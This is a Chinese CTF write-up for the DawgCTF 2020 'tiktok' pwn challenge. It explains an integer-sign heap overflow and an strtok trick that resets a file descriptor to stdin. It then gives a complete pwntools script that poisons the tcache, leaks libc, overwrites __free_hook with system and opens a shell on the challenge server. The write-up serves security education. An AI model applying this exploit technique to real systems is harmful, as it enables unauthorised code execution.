这是DawgCTF 2020国际赛的一题,作为一血所得者,还是很高兴的。
首先,检查一下程序的保护机制,发现没开PIE
然后,我们用IDA分析一下,import_song函数打开文件描述符,然后存储在路径的后面那个空间
Play_song函数从打开的文件描述符里读取数据,申请的堆大小为nbytes+1,然后从文件里读取数据存入堆里,并打印出来。
Remove_song函数清除该歌曲的信息
第一个漏洞点在于play_song函数里存在一个整数符号的问题
nbytes为有符号数据,因此成功nbytes的值为-1,0那么buf = malloc(0),而read则是read(fd,buf,-1);由此造成了堆溢出。然而,fd是已经存在的文件的文件描述符,显然nbytes不能直接被控制,read的内容也不能直接控制。因此,还需要第二个漏洞才可以完成利用。
通过调试,我们可以知道,文件描述符fd存储在songs后面。
而strtok会以指定的字符来分隔字符串,[其分隔原理就是将指定的字符替换为0。]{.mark}
最开始用户可以输入长度为0x18的文件名,而songs+0x18正好是fd的位置。
如果,我们的文件名里不包含.号,而fd的值正好为46的时候,由于字符串以0结尾,所以fd也被算入字符串里,strtok(0,’.’)就会将fd设置为0,因为46对应的ascii字符为.号。而**[当fd被设置为0的时候,我们就可以利用第一个漏洞来溢出堆了。]{.mark}**
[Linux 下fd总是依次递增的,因此,我们需要先import_song n次,使得fd正好为46]{.mark} 。然后playsongs的时候,就可以从终端输入数据,进而溢出堆。由于glibc版本为2.27,因此可以直接伪造next指针,实现任意地址分配。由于没有开启PIE,我们分配到songs数组里,控制songs数组,即可实现任意地址读,泄露地址后,再次伪造next指针分配到free_hook处,写入system地址,触发即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so' ) system_s = libc.sym['system' ] elf = ELF('./tiktok' ) system_got = elf.got['system' ] songs = elf.symbols['songs' ] sh = remote('ctf.umbccd.io' ,4700 ) def open_fd (path ): sh.sendlineafter('Choice:' ,'1' ) sh.sendlineafter('path.' ,path) def add (index,size = 0 ,content = '' ): sh.sendlineafter('Choice:' ,'3' ) sh.sendlineafter('Choice:' ,str (index)) if size != 0 : sh.sendline(str (size).ljust(0x4 ,'\x00' )) sh.send(content) def delete (index ): sh.sendlineafter('Choice:' ,'4' ) sh.sendlineafter('Choice:' ,str (index)) open_fd('Rainbow/godzilla.txt' ) open_fd('Rainbow/godzilla.txt' ) open_fd('Rainbow/godzilla.txt' ) for i in range (40 ): print i open_fd('Warrior/' ) open_fd('Warrior' .ljust(0x18 ,'/' )) add(4 ) add(5 ) add(2 ) add(6 ) add(7 ) add(8 ) add(9 ) add(42 ) add(43 ) delete(2 ) delete(6 ) delete(5 ) delete(4 ) add(44 ,-1 ,'a' *0x10 + p64(0 ) + p64(0x21 ) + p64(songs+0x18 ) + 'a' *8 + p64(0 ) + p64(0x311 ) + p64(songs+0x38 )) add(10 ) add(11 ) add(3 ) fake_struct = p64(0 )*3 + p64(4 ) fake_struct += p64(songs) + p64(songs+0x8 ) fake_struct += p64(system_got) fake_struct += p64(0 )*3 + p64(0 ) fake_struct += p64(songs) + p64(songs+0x8 ) fake_struct += p64(0 ) fake_struct += p64(0 )*3 + p64(0 ) fake_struct += p64(songs) + p64(songs+0x8 ) fake_struct += p64(0 ) fake_struct += p64(0 )*3 + p64(0 ) fake_struct += p64(songs) + p64(songs+0x8 ) fake_struct += p64(0 ) add(1 ,768 ,fake_struct) add(2 ) sh.recvuntil('\n' ) system_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) libc_base = system_addr - system_s free_hook_addr = libc_base + libc.symbols['__free_hook' ] print 'libc_base=' ,hex (libc_base)print 'system_addr=' ,hex (system_addr)print 'free_hook_addr=' ,hex (free_hook_addr)delete(43 ) delete(42 ) add(3 ,-1 ,'/bin/sh' .ljust(0x10 ,'\x00' ) + p64(0 ) + p64(0x21 ) + p64(free_hook_addr)) add(4 ,-1 ,'a' ) add(5 ,-1 ,p64(system_addr)) delete(3 ) sh.interactive()